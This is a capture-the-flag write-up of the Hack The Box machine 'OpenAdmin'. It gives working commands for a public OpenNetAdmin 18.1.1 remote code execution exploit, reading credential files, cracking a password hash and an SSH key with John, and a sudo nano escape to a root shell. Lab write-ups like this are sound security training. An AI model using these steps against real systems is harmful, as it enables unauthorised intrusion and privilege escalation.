OpenAdmin is a easy Linux box that takes a look at CVE's, code review & Web Exploitation
Recon
we start off by scanning OpenAdmin's IP 10.10.10.171 with nmap
Copy nmap -T4 -A -v 10.10.10.171 From our scan we get the following results
Copy PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Checking the WebPage we get nothing, So lets move on to DirBusting it
Copy gobuster dir -u http://10.10.10.171/ -w DirBuster-Lists/directory-list-2.3-medium.txt With this we get the following Directories
Copy ===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.171/
[+] Threads: 10
[+] Wordlist: /root/Downloads/Dic/dictionaries-master/DirBuster-Lists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/14 01:04:28 Starting gobuster
===============================================================
/music (Status: 301)
/artwork (Status: 301)
/sierra (Status: 301)
Checking out the directory /music we find a login page that redirects to ona (OpenNetAdmin)
we can now check for a public exploit for this
Copy searchsploit opennetadmin
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- We'll be using the OpenNetAdmin 18.1.1 - Remote Code Execution exploit
Copy cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .
dos2unix 47691.sh
./47691.sh http://10.10.10.171/ona/ And we have shell, now we can upgrade to a full shell with
Copy /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")' Exploit
Doing cat /etc/passwd lists the users on the system
Copy root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash After enumerating the box we come across a config ona/local/config/database_settings.inc.php that connects back to the db, and wouldn't you know it, it has some credentials
Copy <?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
); Using the credentials jimmy:n1nj4W4rri0R! let's see if we can get a ssh connection
Copy ssh jimmy@10.10.10.171 and there we go! ssh
Copy jimmy@openadmin:~$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
Going back and checking the /var/www/ folder we find that only we can access internal
Copy drwxr-xr-x 4 root root 4096 Nov 22 18:15 .
drwxr-xr-x 14 root root 4096 Nov 21 14:08 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www
So let's take a look at what we have in here. Straight out of the box we see that index.php has some credentials
Copy <?php
ob_start();
session_start();
?>
<?
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
?>
<html lang = "en">
<head>
<title>Tutorialspoint.com</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
Copy 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 Let's get our friend John to crack it, we see that its a SHA512 hash so lets do
Copy john hash --format=Raw-SHA512 --wordlist=/rockyou.txt --rules=jumbo and we get the password Revealed
Checking /var/www/internal/main.php we find that it outputs /home/joanna/.ssh/id_rsa so we should get to that.
Doing
Copy netstat -ano
127.0.0.1:52846 Show's us we have port 52846 running locally, normally we'd plink to access it but let's take another approach today
we can use
Copy curl -XPOST localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v
curl localhost:52846/main.php -H "PHPSESSID=po0mav9u27apgapafu0r518aj2" -v To login to the page, get the session ID and then use it to display main.php. from this we get
Copy <pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html> Great let's crack this SSH key
Copy /usr/share/john/ssh2john.py key > hashSSh
john hashSSh --wordlist=/rockyou.txt
bloodninjas (key)
And we have another set of credentials now joanna:bloodninjas
Copy ssh -i key joanna@10.10.10.171
id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal) Post Exploitation
Now as joanna we can try and escalate our priveleges, lets check out if we can do anything we sudo -l and yes we can
Copy (ALL) NOPASSWD: /bin/nano /opt/priv we can run nano on the file /opt/priv as sudo! sounds like we can bypass this with https://gtfobins.github.io/gtfobins/nano/
so lets run
Copy sudo -u root /bin/nano /opt/priv
ctrl + shift + r
ctrl + shift + x
reset; sh 1>&0 2>&0
id
uid=0(root) gid=0(root) groups=0(root) And we have Root!
Useful Links
https://gtfobins.github.io/gtfobins/nano/
